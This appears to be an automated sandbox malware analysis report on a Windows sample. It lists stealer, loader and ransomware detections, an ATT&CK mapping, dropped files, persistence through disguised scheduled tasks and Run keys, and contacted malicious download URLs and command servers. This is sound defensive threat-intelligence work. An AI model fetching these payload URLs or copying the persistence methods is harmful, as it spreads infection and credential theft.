Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\25Kf6vSBoq.exe

Code function: 1_2_00422F80 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

1_2_00422F80

Source: C:\Users\user\AppData\Local\Temp\DF9C.exe

Code function: 29_2_0041F061 _free,_free,_free,GetTimeZoneInformation,_free,

29_2_0041F061

Source: C:\Users\user\AppData\Local\Temp\DF9C.exe

29_2_00401F20

Source: C:\Users\user\AppData\Local\Temp\CD0D.exe

Code function: 22_2_6A944020 RtlGetVersion,RtlGetSuiteMask,RtlGetNtProductType,RtlInitUnicodeString,ZwQueryLicenseValue,RtlGetSuiteMask,RtlGetVersion,

22_2_6A944020

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 00000027.00000000.491819153.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.500851808.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.495421124.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.494034054.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.568880871.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 22.2.CD0D.exe.2fb0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.irjbuft.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.irjbuft.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.irjbuft.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.CD0D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.6EC5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.irjbuft.2bf15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.6EC5.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.25Kf6vSBoq.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.25Kf6vSBoq.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.1.6EC5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.6EC5.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.6EC5.exe.2c315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.irjbuft.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.3.CD0D.exe.2fc0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.irjbuft.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.25Kf6vSBoq.exe.2dc15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.6EC5.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000003.418065622.0000000002FC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.462341902.0000000004791000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.382786562.0000000001F70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.296771196.0000000002871000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.461574944.0000000002B80000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.312112789.0000000002051000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.447688119.0000000004BA1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.434655880.0000000003000000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.382804638.0000000001F91000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.311815156.0000000000420000.00000004.00000001.sdmp, type: MEMORY

Yara detected Amadey bot

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 0000001F.00000002.570848013.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.458016800.0000000004870000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 00000027.00000000.491819153.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.500851808.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.495421124.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.494034054.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.568880871.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 22.2.CD0D.exe.2fb0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.irjbuft.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.irjbuft.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.irjbuft.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.CD0D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.6EC5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.irjbuft.2bf15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.6EC5.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.25Kf6vSBoq.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.25Kf6vSBoq.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.1.6EC5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.6EC5.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.6EC5.exe.2c315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.irjbuft.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.3.CD0D.exe.2fc0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.irjbuft.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.25Kf6vSBoq.exe.2dc15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.6EC5.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000003.418065622.0000000002FC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.462341902.0000000004791000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.382786562.0000000001F70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.296771196.0000000002871000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.461574944.0000000002B80000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.312112789.0000000002051000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.447688119.0000000004BA1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.434655880.0000000003000000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.382804638.0000000001F91000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.311815156.0000000000420000.00000004.00000001.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 0000001F.00000002.570848013.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.458016800.0000000004870000.00000004.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	DLL Side-Loading11	Exploitation for Privilege Escalation1	Disable or Modify Tools11	Input Capture1	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer15	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Shared Modules1	Application Shimming1	DLL Side-Loading11	Deobfuscate/Decode Files or Information11	LSASS Memory	Account Discovery1	Remote Desktop Protocol	Input Capture1	Exfiltration Over Bluetooth	Encrypted Channel11	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution1	Windows Service1	Application Shimming1	Obfuscated Files or Information3	Security Account Manager	File and Directory Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Command and Scripting Interpreter12	Registry Run Keys / Startup Folder1	Access Token Manipulation1	Software Packing13	NTDS	System Information Discovery26	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol5	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Service Execution2	Network Logon Script	Windows Service1	Timestomp1	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol26	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Process Injection1012	DLL Side-Loading11	Cached Domain Credentials	Security Software Discovery441	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Registry Run Keys / Startup Folder1	File Deletion1	DCSync	Virtualization/Sandbox Evasion131	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading11	Proc Filesystem	Process Discovery3	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Virtualization/Sandbox Evasion131	/etc/passwd and /etc/shadow	Application Window Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Access Token Manipulation1	Network Sniffing	System Owner/User Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Process Injection1012	Input Capture	Remote System Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Hidden Files and Directories1	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
25Kf6vSBoq.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe	100%	Avira	HEUR/AGEN.1138925
C:\Users\user\AppData\Local\Temp\DF9C.exe	100%	Avira	HEUR/AGEN.1138925
C:\Users\user\AppData\Roaming\irjbuft	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\fijbuft	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\C1B2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9C1A.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B82B.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CD0D.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\EA8A.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DF9C.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\F4BC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\ffjbuft	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6EC5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3D1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1105.tmp	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\1105.tmp	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\AdvancedRun.exe	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\AdvancedRun.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\6EC5.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\B82B.exe	39%	ReversingLabs	ByteCode-MSIL.Trojan.CrypterX
C:\Users\user\AppData\Local\Temp\CD0D.exe	80%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Local\Temp\EA8A.exe	43%	ReversingLabs	ByteCode-MSIL.Trojan.Heracles
C:\Users\user\AppData\Local\Temp\F4BC.exe	57%	ReversingLabs	Win32.Trojan.Raccrypt
C:\Users\user\AppData\Roaming\ffjbuft	57%	ReversingLabs	Win32.Trojan.Raccrypt
C:\Users\user\AppData\Roaming\fijbuft	80%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Roaming\irjbuft	45%	ReversingLabs	Win32.Trojan.Generic

Unpacked PE Files

Source	Detection	Scanner	Label	Download
16.0.irjbuft.400000.3.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
29.0.DF9C.exe.8a0000.1.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
29.0.DF9C.exe.8a0000.10.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
29.0.DF9C.exe.8a0000.4.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
22.2.CD0D.exe.2fb0e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.0.DF9C.exe.8a0000.12.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
29.0.DF9C.exe.400000.15.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File
29.0.DF9C.exe.400000.5.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File
2.0.25Kf6vSBoq.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.2.6EC5.exe.2c315a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.0.DF9C.exe.8a0000.18.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
29.0.DF9C.exe.8a0000.16.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
23.0.DF9C.exe.460000.3.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
22.3.CD0D.exe.2fc0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.0.25Kf6vSBoq.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.1.irjbuft.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.0.irjbuft.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.0.irjbuft.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.0.DF9C.exe.400000.17.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File
16.0.irjbuft.400000.2.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
22.2.CD0D.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.2.6EC5.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.2.25Kf6vSBoq.exe.2dc15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
28.2.F4BC.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.1.25Kf6vSBoq.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.6EC5.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.6EC5.exe.400000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
29.0.DF9C.exe.8a0000.3.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
23.0.DF9C.exe.460000.0.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
2.2.25Kf6vSBoq.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.0.DF9C.exe.8a0000.6.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
29.0.DF9C.exe.400000.7.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File
29.0.DF9C.exe.400000.11.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File
23.2.DF9C.exe.460000.0.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
16.0.irjbuft.400000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
15.0.6EC5.exe.400000.3.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
22.1.CD0D.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.1.6EC5.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.0.DF9C.exe.8a0000.14.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
28.3.F4BC.exe.2b80000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.6EC5.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.0.DF9C.exe.400000.13.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File
15.0.6EC5.exe.400000.2.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
2.0.25Kf6vSBoq.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.2.DF9C.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1143239	Download File
28.2.F4BC.exe.2b70e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.2.irjbuft.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.0.DF9C.exe.8a0000.0.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
14.2.irjbuft.2bf15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.0.irjbuft.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.0.irjbuft.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
15.0.6EC5.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
29.0.DF9C.exe.8a0000.8.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
23.0.DF9C.exe.460000.1.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
15.0.6EC5.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.0.DF9C.exe.400000.9.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File
23.0.DF9C.exe.460000.2.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
29.0.DF9C.exe.8a0000.2.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
29.2.DF9C.exe.8a0000.1.unpack	100%	Avira	HEUR/AGEN.1138925	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://tempuri.org/DetailsDataSet1.xsd	0%	Avira URL Cloud	safe
http://sysaheu90.top/game.exe	100%	Avira URL Cloud	malware
http://91.219.236.97/	0%	Avira URL Cloud	safe
http://91.219.236.97//l/f/9Z2CynwB3dP17SpzOnMI/019cd02588367c4185228009642767b5fca228df	0%	Avira URL Cloud	safe
http://91.219.236.97//l/f/9Z2CynwB3dP17SpzOnMI/07191d3d9db3dbffa0d8f6d32b0cace6fdafa466	0%	Avira URL Cloud	safe
http://toptelete.top/agrybirdsgamerept	100%	Avira URL Cloud	malware
http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	100%	Avira URL Cloud	malware
http://hajezey1.top/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
privacytoolzforyou-6000.top	185.98.87.159	true	false	high
toptelete.top	172.67.160.46	true	false	high
cdn.discordapp.com	162.159.135.233	true	false	high
api.2ip.ua	77.123.139.190	true	false	high
znpst.top	151.251.30.69	true	false	high
nusurtal4f.net	45.141.84.21	true	false	high
hajezey1.top	185.98.87.159	true	false	high
sysaheu90.top	185.98.87.159	true	false	high
telegalive.top	unknown	unknown	false	high
xacokuo8.top	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://sysaheu90.top/game.exe	true	Avira URL Cloud: malware	unknown
https://cdn.discordapp.com/attachments/893177342426509335/903702020781907998/4D0A6361.jpg	false		high
http://91.219.236.97/	true	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/893177342426509335/902526117016109056/AB0F9338.jpg	false		high
https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D0D3.jpg	false		high
http://91.219.236.97//l/f/9Z2CynwB3dP17SpzOnMI/019cd02588367c4185228009642767b5fca228df	true	Avira URL Cloud: safe	unknown
http://91.219.236.97//l/f/9Z2CynwB3dP17SpzOnMI/07191d3d9db3dbffa0d8f6d32b0cace6fdafa466	true	Avira URL Cloud: safe	unknown
http://toptelete.top/agrybirdsgamerept	true	Avira URL Cloud: malware	unknown
https://cdn.discordapp.com/attachments/893177342426509335/903575517888925756/6D9E3C88.jpg	false		high
http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	true	Avira URL Cloud: malware	unknown
http://hajezey1.top/	true	Avira URL Cloud: malware	unknown
https://cdn.discordapp.com/attachments/893177342426509335/903575519373697084/F83CB811.jpg	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://tempuri.org/DetailsDataSet1.xsd	EA8A.exe, 00000018.00000000.417957368.0000000000FA2000.00000002.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000004.00000000.287991711.0000000006840000.00000004.00000001.sdmp	false		high
http://fontello.com	C1B2.exe	false		high
http://www.nirsoft.net/	AdvancedRun.exe, AdvancedRun.exe, 0000001B.00000000.419935360.000000000040C000.00000002.00020000.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
185.98.87.159	privacytoolzforyou-6000.top	Russian Federation	205840	VM-HOSTINGRU	false
91.219.236.97	unknown	Hungary	56322	SERVERASTRA-ASHU	true
162.159.129.233	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.160.46	toptelete.top	United States	13335	CLOUDFLARENETUS	false
216.128.137.31	unknown	United States	20473	AS-CHOOPAUS	true
162.159.135.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
93.115.20.139	unknown	Romania	202448	MVPShttpswwwmvpsnetEU	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	511954
Start date:	29.10.2021
Start time:	20:27:37
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 16m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	25Kf6vSBoq.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	42
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@44/20@59/8
EGA Information:	Failed
HDC Information:	Successful, ratio: 36.7% (good quality ratio 22.8%) Quality average: 36.2% Quality standard deviation: 35%
HCA Information:	Successful, ratio: 56% Number of executed functions: 112 Number of non-executed functions: 332
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.211.4.86, 20.82.210.154, 209.197.3.8, 20.50.102.62, 80.67.82.235, 80.67.82.211 Excluded domains from analysis (whitelisted): fs.microsoft.com, wu-shim.trafficmanager.net, store-images.s-microsoft.com-c.edgekey.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, cds.d2s7q6s2.hwcdn.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, store-images.s-microsoft.com, arc.trafficmanager.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing behavior and disassembly information. Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/511954/sample/25Kf6vSBoq.exe

Simulations

Behavior and APIs

Time	Type	Description
20:29:22	Task Scheduler	Run new task: Firefox Default Browser Agent CEB8766898B1A0D6 path: C:\Users\user\AppData\Roaming\irjbuft
20:29:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Chrome C:\Users\user~1\AppData\Local\Temp\DF9C.exe
20:30:09	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Chrome C:\Users\user~1\AppData\Local\Temp\DF9C.exe
20:30:15	API Interceptor	8x Sleep call for process: 3D1.exe modified
20:30:21	API Interceptor	30x Sleep call for process: powershell.exe modified
20:30:40	Task Scheduler	Run new task: sqtvvs.exe path: C:\Users\user~1\AppData\Local\Temp\603c0340b4\sqtvvs.exe
20:30:42	Task Scheduler	Run new task: Firefox Default Browser Agent FC48AAD9FCF207F2 path: C:\Users\user\AppData\Roaming\fijbuft
20:30:54	Task Scheduler	Run new task: Firefox Default Browser Agent 679833BEA6CC7311 path: C:\Users\user\AppData\Roaming\ffjbuft
20:31:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\822d2d1a-03c6-47d8-aff0-f5a5897ff683\9C1A.exe" --AutoStart
20:31:35	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\822d2d1a-03c6-47d8-aff0-f5a5897ff683\9C1A.exe s>--Task
20:32:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\822d2d1a-03c6-47d8-aff0-f5a5897ff683\9C1A.exe" --AutoStart

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DF9C.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\DF9C.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	520
Entropy (8bit):	5.345981753770044
Encrypted:	false
SSDEEP:	12:Q3La/hhkvoDLI4MWuCqDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhav:MLUE4K5E4Ks2wKDE4KhK3VZ9pKhk
MD5:	044A637E42FE9A819D7E43C8504CA769
SHA1:	6FCA27B1A571B73563C8424C84F4F64F3CBCBE2F
SHA-256:	E88E04654826CE00CC7A840745254164DDBD175066D6E4EA6858BF0FE463EBB4
